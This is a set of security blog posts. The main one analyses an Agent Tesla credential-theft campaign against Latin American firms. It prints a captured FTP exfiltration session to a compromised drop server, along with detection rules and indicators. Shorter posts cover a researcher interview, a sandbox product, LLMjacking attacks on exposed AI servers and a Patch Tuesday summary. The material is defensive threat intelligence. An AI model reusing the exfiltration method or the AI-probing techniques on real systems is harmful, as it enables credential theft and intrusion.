The most critical finding from dynamic analysis was the capture of cleartext FTP credentials and exfiltration traffic. FTP operates without transport encryption by default, making the full authentication handshake and data transfer visible in the network capture:
220 Welcome to Pure-FTPd [privsep] [TLS]
331 User americas2@horeca-bucuresti.ro OK. Password required
USER americas2@horeca-bucuresti.ro
PASS [REDACTED]
230 OK. Current restricted directory is /
STOR PW_admin-DESKTOP-JGLLJLD_2026_03_27_17_19_15.html
226 File successfully transferred (3.79 KB/s)
The exfiltrated file follows a consistent naming convention: PW_[username]-[hostname]_[timestamp].html. This structured naming allows the operator to efficiently process stolen credentials from multiple victims in the drop directory.

The following Suricata rules fired during the exfiltration phase:
The exfiltration target — ftp.horeca-bucuresti[.]ro resolving to 89[.]39[.]83[.]184 — is a legitimate Romanian hospitality business website that has been compromised and repurposed as a drop zone. This operational security tactic makes network blocking harder and attribution more difficult, since blocking the IP may affect a legitimate business.
Querying the IP on VirusTotal reveals 80 malicious files that have communicated with this server, with the earliest samples dating to September 2024 — confirming the infrastructure has been actively maintained for at least 18 months.

Analysis of the 80 samples communicating with this infrastructure reveals a clear targeting pattern focused on Spanish-speaking Latin American enterprises. Pivoting on the campaign in ANY.RUN Threat Intelligence Lookup with the query submissionCountry:”cl” AND threatLevel:”malicious” confirms Chile as the primary submission country, and surfaces correlated behavioral artifacts including the mutex localsm0:6816:304:wilstaging_02, the Firebase Storage decoy PDF download URL, and all 10 Suricata network threats – all tied to aspnet_compiler.exe as the injected process.

The filenames observed in the communicating files paint a consistent picture:
| Filename | Type | Targeting Context |
|---|---|---|
| Orden de compra.xlam / Orden de Compra.xlam | Office macro lure | Chile / Peru / Generic LATAM |
| OC 20240814.xlam / OC 20240813.xlam | Office macro lure | Dated purchase orders |
| Nómina de sueldos.pdf_008.exe | EXE disguised as PDF | Payroll – HR department targeting |
| Comprobante de pago.pdf.exe | EXE disguised as PDF | Payment receipt – finance targeting |
| Nomina_Sept2025_Confidencial.xlam | Office macro lure | Confidential payroll – HR targeting |
| Orden – N652120.008.xlam | Office macro lure | Numbered order – supplier targeting |
| givingbestthingsalwaysfor.hta | HTA dropper | English – possible wider targeting |
The Passive DNS history further reveals that the same IP hosted subdomains used as email relay infrastructure: email.v.todotramitesperu.com.elgartizocon[.]ro and email.elrif[.]com — patterns consistent with mail relay abuse to increase phishing email deliverability.
| Technique | ID | Evidence |
|---|---|---|
| Phishing: Spearphishing Attachment | T1566.001 | RAR archive with financial lure delivered via email |
| Obfuscated Files or Information | T1027 | JScript Encoded .jse dropper evades AV |
| Command and Scripting: JavaScript | T1059.007 | wscript.exe executes .jse dropper |
| Command and Scripting: PowerShell | T1059.001 | Stager with -ExecutionPolicy Bypass |
| Process Injection: Process Hollowing | T1055.012 | ALTERNATE.dll injected into aspnet_compiler.exe |
| Software Packing / Virtualization | T1027.002 | .NET Reactor 6.x with VM + control flow obfuscation |
| Credentials from Web Browsers | T1555.003 | Chrome, Firefox credential store access confirmed |
| Exfiltration Over Alternative Protocol: FTP | T1048.003 | Cleartext FTP to ftp.horeca-bucuresti.ro:21 |
| System Information Discovery | T1082 | CPU, RAM, OS version enumeration pre-exfil |
| System Network Configuration Discovery | T1016 | External IP lookup via ip-api.com |
ANY.RUN’s Interactive Sandbox is particularly effective for early detection of sophisticated multi-stage loaders like this Agent Tesla campaign. Security teams should integrate the following practices:
# Detect AgentTesla FTP exfiltration by filename pattern
alert tcp $HOME_NET any -> $EXTERNAL_NET 21 (
msg:"AgentTesla FTP Credential Exfil - PW_ prefix";
flow:established,to_server;
content:"STOR PW_"; depth:8;
content:".html";
sid:9000001; rev:1;
)
# Detect pre-exfil hosting check
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"AgentTesla - ip-api hosting provider check";
http.uri; content:"/line/?fields=hosting";
sid:9000002; rev:1;
)
rule AgentTesla_ALTERNATE_Loader {
meta:
description = "Detects ALTERNATE.dll Agent Tesla loader (.NET Reactor 6.x)"
author = "0xOlympus"
date = "2026-03-27"
strings:
$pdb = "ALTERNATE.pdb" ascii
$name = "ALTERNATE.dll" ascii
$aes = "AesCryptoServiceProvider" wide
$dec = "CreateDecryptor" wide
$va = "VirtualAlloc" ascii
$wpm = "WriteProcessMemory" ascii
condition:
uint16(0) == 0x5A4D
and all of ($pdb, $name)
and all of ($aes, $dec)
and any of ($va, $wpm)
}
title: AgentTesla Process Hollowing via aspnet_compiler.exe
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: "\powershell.exe"
Image|endswith: "\aspnet_compiler.exe"
filter_legit:
CommandLine|contains:
- "-f "
- "-v "
condition: selection and not filter_legit
falsepositives:
- Legitimate .NET compilation tasks (rare outside dev environments)
level: high
tags:
- attack.t1055.012
- attack.t1059.001
Block or quarantine emails containing attachments matching these patterns:
This investigation yields several actionable findings for security teams in Chile and the broader LATAM region:
The threat actor has operated continuously since at least mid-2024 using the same FTP infrastructure (89.39.83[.]184) while iterating on lure documents. This is a sustained operation with deliberate LATAM focus.
.NET Reactor 6.x with virtualization and control flow obfuscation significantly raises the cost of static analysis. Organizations relying solely on static AV will miss this family. Dynamic analysis in sandboxes like ANY.RUN provides the detection coverage that static tools cannot.
Despite being a decades-old protocol, FTP exfiltration continues to succeed because most organizations focus monitoring on HTTP/S. Since FTP operates in cleartext, when it is captured, full credentials and data content are visible — but only if outbound FTP traffic is logged and inspected.
The consistent use of purchase order and payment receipt lures indicates deliberate targeting of accounts payable and procurement departments. Targeted security awareness training for these roles represents a high-ROI defensive investment.
Several phases of this investigation would have been significantly slower or impossible without ANY.RUN. Here is where the platform made a direct impact:
Unlike fully automated sandboxes, ANY.RUN’s interactive environment allowed real-time observation of the infection chain. This was critical for the .jse stage, which checks for user interaction before proceeding — a common evasion technique that automated systems fail to bypass.

ANY.RUN matched 6 Suricata rules against the network traffic automatically, immediately confirming the Agent Tesla family and the FTP exfiltration behavior. In a traditional lab setup, this would require manual PCAP capture, Wireshark analysis, and custom rule development.
The cleartext FTP session — including the authentication handshake, the C2 hostname (ftp.horeca-bucuresti[.]ro), and the exfiltrated filename pattern — was captured in full by ANY.RUN’s network interception layer and presented directly in the Network tab, reducing analysis time from hours to minutes.
Using the C2 IP as a pivot point in ANY.RUN Threat Intelligence (combined with VirusTotal), we surfaced 80 related malicious samples, identified the 18-month campaign timeline, and mapped the full scope of LATAM targeting — transforming a single sample investigation into a comprehensive campaign report.
| Indicator | Type | Description |
|---|---|---|
| 948C8C69FE02EDA9231AEBFA5C626335307058AC74A5C3C40B346179A1BFC982 | SHA256 | RAR dropper |
| A7EEEAD9C868D9944ED1C1F113328F32 | MD5 | RAR dropper |
| B50B3800B17AD7AD5C4483C0B6B24D1D151A9D10 | SHA1 | RAR dropper |
| 7929355856A2A85D48F95D230CD74FBB5AD554BED49E73B1800136C4BCCCD1A8 | SHA256 | .jse encoded dropper |
| CD83F5CEB2D014BADFA991106A9D37A6AEAB9043D60D796AD0F16D36CDFA5703 | SHA256 | PowerShell stager (all variants) |
| 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | SHA256 | PS stager template |
| 89.39.83[.]184 | IPv4 | FTP C2 – MALICIOUS – block immediately |
| ftp.horeca-bucuresti[.]ro | FQDN | FTP C2 hostname – MALICIOUS |
| 208.95.112[.]1 | IPv4 | ip-api.com (victim fingerprinting) |
| americas2@horeca-bucuresti[.]ro | FTP account | Operator drop account |
| C:Temp[A-Z]{8}.ps1 | Path regex | Dropped stager pattern |
| PW_[user]-[host]_[timestamp].html | Filename pattern | Exfil output format |
| ALTERNATE.dll / ALTERNATE.pdb | Binary strings | Internal loader identifiers |
ANY.RUN delivers cybersecurity solutions designed to support real-world SOC operations. They help security teams understand threats faster, make informed decisions, and operationalize threat intelligence across detection, investigation, and response workflows.
The company’s solutions include Interactive Sandbox for enterprise-grade malware analysis, as well as ANY.RUN’s Threat Intelligence with its modules Threat Intelligence Lookup and Threat Intelligence Feeds, providing continuously updated intelligence based on live attack analysis.
Used by over 15,000 organizations and 600,000 security professionals worldwide, ANY.RUN is SOC 2 Type II certified, ensuring strong security controls and protection of customer data.
Request access to ANY.RUN’s solutions →
It uses a sophisticated .NET Reactor-protected loader with Process Hollowing and has operated persistently against LATAM targets for over 18 months using the same infrastructure.
Rapid digitalization, prevalent use of email for business documents, and relatively lower security maturity in SME supply chains.
Often not. The heavy obfuscation, fileless execution, and legitimate process injection frequently bypass static AV. Dynamic analysis is critical.
Verify the sender through a separate channel and avoid opening attachments from unexpected sources.
Monitor outbound FTP traffic (port 21) and look for filenames starting with “PW_” followed by username and hostname.
It provides interactive detonation, automatic threat detection, and intelligence pivoting that accelerate both analysis and proactive defense.
The post LATAM Under Siege: Agent Tesla’s 18-Month Credential Theft Campaign Against Chilean Enterprises appeared first on ANY.RUN’s Cybersecurity Blog.
ANY.RUN’s Cybersecurity Blog – Read More

In the latest Humans of Talos, Amy sits down with Senior Vulnerability Researcher Philippe Laulheret to demystify the world of ethical hacking. Philippe shares his unique journey from French engineering school to the front lines of cybersecurity, explaining how his lifelong love for solving puzzles helps him uncover critical security flaws before they can be exploited.
From his memorable experiment using a green onion to bypass a biometric fingerprint reader to his perspective on the reality of cybersecurity versus what we see in the movies, Philippe provides a fascinating look at the work that keeps our digital world safe.
Amy Ciminnisi: So, can you talk to me a little bit about what you do in vulnerability research?
Philippe Laulheret: I work in vulnerability research. Basically, my job is to find vulnerabilities in software, hardware, or things physically. It’s an interesting position because I usually get to choose which target I want to look at, which confuses people usually, because usually it’s a consulting role, or someone asks you to do that. But for us, we find vulnerabilities in things that we think are important. And then this way, people in different teams can write detection rules, and our customers are protected.
AC: I love that you get to kind of pick a niche and explore. How did you get into this?
PL: My deepest interest was more in reverse engineering, which is understanding how things work, software in particular. Throughout my whole life, I was really curious and really wanted to understand stuff. I guess research is an extension of that where you need to understand how the system works, and then it’s a puzzle where you need to find a way to break it. In my teenage years, I was really interested in that. I started playing Capture The Flag, which are challenges where people design exercises where there is a bug to find and exploit. It was really fun. I was doing that to stay sharp with my skills, and eventually, I was able to transition from regular development work to actual research. All those years of playing CTF really helped, even if it wasn’t professional.
AC: Did you go to school initially for development work? What kind of career path led you here?
PL: Originally, as you can hear, I have a French accent. In France, we have engineering schools, which are fancy grad schools. The process is first you study very hard in math and physics, and then you go to grad school. At that time, I was convinced I wanted to do security, and I joined an electrical and computer engineering school. Somehow, in that school, I discovered an interest for different aspects of software development. I was getting interested in computer vision and other things. When I moved to the U.S. for development work instead of security work, I worked in a design studio for four years, which was really fun. I was making interactive installations. But as I said, I was playing CTF on the side to keep security pretty high in my head. Eventually, I moved to New York and joined a cybersecurity startup, and finally, I moved back to the Pacific Northwest, where I’m currently living, and I was finally able to do vulnerability research the way I wanted to.
Want to see more? Watch the full interview, and don’t forget to subscribe to our YouTube channel for future episodes of Humans of Talos.
Cisco Talos Blog – Read More
Successful SOC operations require more than accurate detections. Instant access to context, clear conclusions, and operationally relevant insights allow incidents to move across workflows without delays:
Making ANY.RUN’s Interactive Sandbox a part of your standard SOC workflow helps eliminate bottlenecks that occur along the incident lifecycle by contributing to the optimization of each process, decision, and report.
SOC-ready Tier 1 reports turn complex sandboxing analysis into structured, decision-ready intelligence for faster, efficient triage, escalation, response, and reporting.
With SOC teams continuously investigating suspicious files, URLs, phishing pages, and malware samples, turning the resulting massive volume of technical findings into actionable operational context fast enough to support efficient response becomes the key challenge.
The lack of standardized reporting leads to:
ANY.RUN’s Interactive Sandbox already simplifies malware and phishing analysis through interactive, real-time investigation. Now, with Tier 1 Reports and AI Summary, it supports decision-making and reporting acrossSOC operations.

New Tier 1 reports are integrated into SOC workflows through and offer complete, structured documents with operationally useful insights.
Tier 1 report includes:
They can be generated directly within the Interactive Sandbox in a single click, making sandbox analysis immediately usable across operational workflows.
Via Tier 1 reports featuring AI Summaries, ANY.RUN’s Interactive Sandbox provides immediate answers to the most critical questions that occur during alert triage:

Instead of manually reviewing raw technical data to answer these questions with confidence, the sandbox provides this context automatically in the form of a ready-to-use report that covers all findings into a clear operational document for fast and substantiated decision-making.
| ANY.RUN’s Interactive Sandbox & Tier 1 Reports | |
|---|---|
| Operational Impact | Business Impact |
| Faster alert validation | Consistent triage quality |
| Reduced manual enrichment | Better analyst productivity |
| Fewer unnecessary escalations | Reduced operational overhead |
In case of an escalation, Tier 2 analysts and incident responders frequently need to reconstruct investigation context manually before proceeding with containment.
Raw sandbox outputs take time to process and interpret, stretching investigation time and creating friction, as higher tiers essentially have to go back to triage stage for verification.
With Tier 1 reports, analysts get a structured information to pass on at the early stage, making ANY.RUN’s Interactive Sandbox more smoothly embedded into the entire investigation cycle, from triage to response.

| ANY.RUN’s Interactive Sandbox & Tier 1 Reports | |
|---|---|
| Operational Impact | Business Impact |
| Reduced friction during handoffs | Better collaboration between teams |
| No context lost in the process | Full visibility for decision-makers |
| Accelerated investigation pipeline | Optimized operations across tiers |
SOC managers, Heads of SOC, and CISOs don’t have time to review every technical artifact associated with an incident. Traditional reports may contain too many low-level details, whereas security leaders must assess the general business impact and urgency of a threat.
ANY.RUN’s Interactive Sandbox optimizes the hand-off workflow with a concise overview of the analysis in operational language suitable for leadership.
With AI Summary as part of the structure, the report explains what happened, why the object is malicious, which assets or systems may be at risk.
As a result, analysis outputs become standardized and practical, making them immediately usable for decision-making and internal communication.
| ANY.RUN’s Interactive Sandbox & Tier 1 Reports | |
|---|---|
| Operational Impact | Business Impact |
| Faster incident understanding |
Better executive visibility |
| Easier communication between teams | Faster prioritization through clarity |
| Consistent incident documentation | Stronger operational governance |
In this phishing investigation, the Tier 1 report provides a clear, operational overview of the entire attack chain, helping both analysts and leadership quickly understand the threat severity and required response actions.
AI Summary further structures the findings into operationally relevant context suitable for triage, escalation, and internal communication:

The AI summary highlights the detection of a ClickFix phishing technique, followed by PowerShell execution with Execution Policy bypass attempts used to launch malicious activity on the host. It also outlines payload delivery behavior, subsequent system modifications, and persistence attempts through Windows Registry changes.
Instead of manually reconstructing the attack flow from raw sandbox telemetry, analysts receive a ready-to-use interpretation of the incident that can immediately support escalation and response workflows.
The complete attack chain, behavioral indicators, and resulting conclusions are already structured for operational use and are ready for further processing: escalation, IR hand-off, and containment.
The new Tier 1 reports featuring AI Summary deliver direct operational value across the SOC:
Unlimited access is available for Enterprise Suite and Hunter plans. Free plan users have a shared limit of 5 generations for both the Tier 1 report and AI Summary.
ANY.RUN’s new Tier 1 reports and AI Summary convert sandbox analysis outputs into structured, operationally ready documents that support every stage of the incident lifecycle, from initial triage to executive visibility.
Embedding Interactive Sandbox directly into a SOC workflow strengthens overall security operations maturity by allowing for faster and more confident decision-making across processes.
ANY.RUN delivers cybersecurity solutions designed to support real-world SOC operations. They help security teams understand threats faster, make informed decisions, and operationalize threat intelligence across detection, investigation, and response workflows.
The company’s solutions include Interactive Sandbox for enterprise-grade malware analysis, as well as ANY.RUN’s Threat Intelligence with its modules Threat Intelligence Lookup and Threat Intelligence Feeds, providing continuously updated intelligence based on live attack analysis.
Used by over 15,000 organizations and 600,000 security professionals worldwide, ANY.RUN is SOC 2 Type II certified, ensuring strong security controls and protection of customer data.
Request access to ANY.RUN’s solutions →
SOC-ready reports are sandbox analysis summaries that provide operational context for faster triage, escalation, incident response, and internal reporting.
No. While Tier 1 reports are designed to accelerate initial triage, they also support Tier 2, Tier 3, incident response teams, SOC managers, and CISOs by providing structured operational context, standardized reporting, and fast visibility into threat severity and business impact.
Tier 1 reports include a threat verdict, AI Summary, MITRE ATT&CK mapping, behavioral indicators, and IOCs generated directly from Interactive Sandbox analysis.
AI Summary converts technical sandbox findings into concise operational explanations that help analysts and decision-makers quickly assess threat severity, business impact, and required response actions.
Yes. ANY.RUN’s SOC-ready reporting helps standardize triage, escalation, and investigation workflows across internal SOC, MDR, and MSSP teams.
The post New SOC-Ready Reporting for Faster Triage, Escalation, and Incident Response with ANY.RUN appeared first on ANY.RUN’s Cybersecurity Blog.
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AI security covers more than just data theft prevention, restricting rogue AI agents, or stopping assistants from giving harmful advice. A relatively simple but rapidly scaling threat has emerged: attempts to hijack computational power and exploit someone else’s neural network for personal gain. This is known as LLMjacking. With AI compute costs widely predicted to surge dramatically, the number of attackers driven by these motives is poised to grow. Consequently, when deploying proprietary AI servers and their supporting ecosystems like RAG or MCP, it’s critical to establish rigorous security measures from day one.
The speed and scale of these resource-hijacking attempts are best illustrated by an experiment documented in detail in April 2026. The investigator configured a Raspberry Pi to masquerade as a high-performance private AI server, and made it accessible from the internet. When queried, it reported the availability of Ollama, LM Studio, AutoGPT, LangServe, and text-gen-webui servers — all tools commonly used as wrappers for locally hosted AI models. The server also appeared ready to accept API requests in the OpenAI format, which has become the industry standard.
All these services were seemingly powered by a local instance of Qwen3-Coder 30B Heretic, one of the most powerful open-source models, with its safety alignment removed. To throw in a sweetener, the honeypot reported the presence of various RAG databases and an MCP server with tempting capabilities like get_credentials on board.
In reality, the Raspberry Pi was simply hosting 500 pre-saved responses from an actual Qwen3 model, with a lightweight script selecting the most relevant answer for each incoming query. This setup was enough to pass a superficial check while allowing the researcher to probe the attackers’ intentions.
According to the author, Shodan, a popular internet scanning service, discovered the server within three hours of its going live. Just one hour later, requests resembling capability reconnaissance began pouring in. Over the following month, the server handled more than 113 000 requests from thousands of unique IPs, with 23% of that traffic specifically targeted at discovering AI capabilities and exploiting local LLMs and AI agents.
Requests to endpoints like /api/tags and /v1/models allow attackers to fingerprint which models are hosted on a server, while scanning for /.cursor/rules typically precedes an attempt to exploit an AI agent. Similarly, checking /.well-known/mcp.json serves as an inventory of the victim’s MCP servers. While the author makes no mention of the total number of attacks that progressed beyond simple scanning, there were 175 active attempts to hijack the LLM during the final week of the experiment alone.
Based on the researcher’s observations, none of those targeting the decoy server attempted to execute arbitrary code or gain root access. (Editorial note: this is surprising and may point to gaps in logging.) Almost all attacks were aimed at siphoning resources. For example, the following activities were logged during the experiment:
It’s worth noting that the reconnaissance of AI resources uses standardized and rapidly evolving tools. Requests from an application named LLM-Scanner originated from the infrastructure of seven different cloud providers across eight countries, suggesting that the raiders have put established methodologies in place, as well as specialized platforms for sharing techniques. By the third week of the experiment, the scanner had been updated with an additional check: it now used simple abstract questions to determine whether it’s interacting with live AI or a honeypot returning canned responses.
Among the non-specific attacks, the experiment recorded numerous attempts to exfiltrate credentials from the .env file. Attackers systematically hunted for this file across every conceivable directory on the server. Leaving an .env file publicly accessible is one of the most elementary mistakes when deploying projects on Laravel, Node.js, and other frameworks, yet it remains a common oversight — particularly among beginners and vibe coders. Consequently, attackers have every reason to expect their efforts to pay off.
Scanning publicly accessible servers and attempting to exploit them is nothing new, but the rise of LLMs gives attackers another way to monetize their efforts — one that’s both highly lucrative for them and devastating for their victims. To understand how massive these attacks could become, look at their closest counterpart: the cryptojacking market — where criminals mine cryptocurrency using stolen computational resources. That market grew by 20% in 2025 alone. As AI-powered solutions proliferate, and as major providers hike subscription costs while local AI chips remain in short supply, we should expect LLMjacking to become an industrial-scale phenomenon.
Key defensive measures for private AI infrastructure
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By Jaeson Schultz
Microsoft has released its monthly security update for May 2026, which includes 137 vulnerabilities affecting a range of products, including 31 that Microsoft marked as “critical”.
In this month’s release, Microsoft has not observed any of the included vulnerabilities being actively exploited in the wild. Out of 31 “critical” entries, 16 are remote code execution (RCE) vulnerabilities in Microsoft Windows services and applications including Microsoft Office, Microsoft Word, Windows Native WiFi Miniport Driver, Azure, Office for Android, Microsoft Dynamics 365, Windows GDI, Microsoft SharePoint, Windows Graphics Component, Windows Netlogon, and Windows DNS Client.
CVE-2026-32161 is a critical use after free vulnerability. Concurrent execution using a shared resource with improper synchronization (‘race condition’) in Windows Native WiFi Miniport Driver allows an unauthorized attacker to execute code over an adjacent network.
CVE-2026-33109 is a critical access control vulnerability in Azure Managed Instance for Apache Cassandra. Improper access control allows an authorized attacker to execute code over a network.
CVE-2026-33844 is a critical input validation vulnerability in Azure Managed Instance for Apache Cassandra. Improper input validation allows an authorized attacker to execute code over a network.
CVE-2026-35421 is a critical heap-based buffer overflow vulnerability in Windows GDI that allows an unauthorized attacker to execute code locally. For this vulnerability to be exploited, a user would need to open or otherwise process a specially crafted Enhanced Metafile (EMF) file using Microsoft Paint. This action is necessary to trigger the affected graphics functionality in the Windows component.
CVE-2026-40358 is a critical use after free vulnerability in Microsoft Office which allows an unauthorized attacker to execute code locally.
CVE-2026-40361 is a critical use after free vulnerability in Microsoft Word that allows an unauthorized attacker to execute code locally.
CVE-2026-40363 is a critical heap-based buffer overflow in Microsoft Office which allows an unauthorized attacker to execute code locally.
CVE-2026-40364 is a critical heap-based buffer overflow vulnerability. Access of resource using incompatible type (‘type confusion’) in Microsoft Office Word allows an unauthorized attacker to execute code locally.
CVE-2026-40365 is a critical vulnerability affecting Microsoft SharePoint. Insufficient granularity of access control allows an authorized attacker to execute code over a network. In a network-based attack, an authenticated attacker, as at least a Site Owner, could write arbitrary code to inject and execute code remotely on the SharePoint Server.
CVE-2026-40366 is a critical use after free vulnerability in Microsoft Word which allows an unauthorized attacker to execute code locally.
CVE-2026-40367 is a critical vulnerability affecting Microsoft Word. An untrusted pointer dereference may allow an unauthorized attacker to execute code locally.
CVE-2026-40403 is a critical heap-based buffer overflow vulnerability in Windows Win32K – GRFX that allows an authorized attacker to execute code locally. This vulnerability could lead to a contained execution environment escape. In the case of a Remote Desktop connection, an attacker with control of a Remote Desktop Server could trigger a remote code execution (RCE) on the machine when a victim connects to the attacking server with a vulnerable Remote Desktop Client.
CVE-2026-41089 is a critical stack-based buffer overflow in Windows Netlogon that allows an unauthorized attacker to execute code over a network. An attacker could send a specially crafted network request to a Windows server that is acting as a domain controller. If successful, this could cause the Netlogon service to improperly handle the request, potentially allowing the attacker to run code on the affected system without needing to sign in or have prior access.
CVE-2026-41096 is a critical heap-based overflow vulnerability in Windows DNS Client. An attacker could exploit this vulnerability by sending a specially crafted DNS response to a vulnerable Windows system, causing the DNS Client to incorrectly process the response and corrupt memory. In certain configurations, this could allow the attacker to run code remotely on the affected system without authentication.
CVE-2026-42831 is a critical heap-based buffer overflow vulnerability in Office for Android that allows an unauthorized attacker to execute code locally. An attacker must send a user a malicious Office file and convince them to open it.
CVE-2026-42898 is a critical code injection vulnerability in Microsoft Dynamics 365 (on-premises). Improper control of generation of code (‘code injection’) allows an authorized attacker to execute code over a network. An attacker with the required permissions could modify the saved state of a process session in Dynamics CRM and trigger the system to process that data, which could result in the server unintentionally executing malicious code.
Talos would also like to highlight the following “important” vulnerabilities as Microsoft has determined that their exploitation is “more likely:”
A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page.
In response to these vulnerability disclosures, Talos is releasing a new Snort ruleset that detects attempts to exploit some of them. Please note that additional rules may be released at a future date, and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Ruleset customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
Snort 2 rules included in this release that protect against the exploitation of many of these vulnerabilities are: 1:66438-1:66445, 1:66451-1:66460, and 1:66470-1:66476.
The following Snort 3 rules are also available: 1:301494-1:301497, 1:301500-1:301506, 1:66472-1:66473, and 1:66476.
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